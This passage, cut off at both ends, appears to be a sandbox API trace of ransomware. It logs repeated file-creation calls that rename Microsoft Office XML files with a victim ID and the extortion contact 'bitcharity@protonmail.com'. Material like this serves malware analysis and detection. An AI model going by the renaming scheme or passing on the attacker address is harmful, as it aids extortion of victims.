dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.617] CloseHandle (hObject=0x1278) returned 1 [0269.617] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.618] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN044.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn044.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.618] CloseHandle (hObject=0x1278) returned 1 [0269.619] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.619] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN048.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn048.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.620] CloseHandle (hObject=0x1278) returned 1 [0269.621] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.621] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN054.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn054.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.621] CloseHandle (hObject=0x1278) returned 1 [0269.622] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.622] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN058.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn058.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.623] CloseHandle (hObject=0x1278) returned 1 [0269.624] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.624] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN065.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn065.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.627] CloseHandle (hObject=0x1278) returned 1 [0269.628] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.629] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN075.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn075.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.629] CloseHandle (hObject=0x1278) returned 1 [0269.630] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.631] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN081.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn081.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.631] CloseHandle (hObject=0x1278) returned 1 [0269.632] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.632] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN082.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn082.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.633] CloseHandle (hObject=0x1278) returned 1 [0269.633] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.634] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN086.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn086.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.634] CloseHandle (hObject=0x1278) returned 1 [0269.635] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.635] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN089.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn089.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.635] CloseHandle (hObject=0x1278) returned 1 [0269.636] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.636] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN090.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn090.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.636] CloseHandle (hObject=0x1278) returned 1 [0269.637] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.637] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN092.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn092.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.637] CloseHandle (hObject=0x1278) returned 1 [0269.638] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.638] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN095.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn095.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.639] CloseHandle (hObject=0x1278) returned 1 [0269.640] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.640] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN096.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn096.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.640] CloseHandle (hObject=0x1278) returned 1 [0269.641] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.641] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN097.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn097.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.641] CloseHandle (hObject=0x1278) returned 1 [0269.642] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.642] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN102.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn102.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.642] CloseHandle (hObject=0x1278) returned 1 [0269.643] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.643] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN103.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn103.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.643] CloseHandle (hObject=0x1278) returned 1 [0269.644] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.644] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN105.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn105.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.644] CloseHandle (hObject=0x1278) returned 1 [0269.645] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.645] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN107.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn107.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.645] CloseHandle (hObject=0x1278) returned 1 [0269.646] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.646] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN108.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn108.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.646] CloseHandle (hObject=0x1278) returned 1 [0270.071] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.071] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN109.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn109.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.540] CloseHandle (hObject=0x1114) returned 1 [0271.116] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.116] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PG_INDEX.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pg_index.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.132] CloseHandle (hObject=0x1268) returned 1 [0271.151] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.151] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.151] CloseHandle (hObject=0x1268) returned 1 [0271.231] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.232] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\ad.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.232] CloseHandle (hObject=0x1114) returned 1 [0271.233] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.233] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BIZCARD.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bizcard.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.233] CloseHandle (hObject=0x1114) returned 1 [0271.234] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.234] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BIZFORM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bizform.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.234] CloseHandle (hObject=0x1114) returned 1 [0271.235] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.235] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BROCHURE.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\brochure.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.235] CloseHandle (hObject=0x1114) returned 1 [0271.236] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.236] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALENDAR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\calendar.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.237] CloseHandle (hObject=0x1114) returned 1 [0271.237] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.237] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CATALOG.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\catalog.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.238] CloseHandle (hObject=0x1114) returned 1 [0271.238] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.239] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CERT.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\cert.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.239] CloseHandle (hObject=0x1114) returned 1 [0271.240] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.240] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGACCBAR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgaccbar.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.240] CloseHandle (hObject=0x1114) returned 1 [0271.241] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.241] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGACCBOX.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgaccbox.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.241] CloseHandle (hObject=0x1114) returned 1 [0271.243] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.243] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: 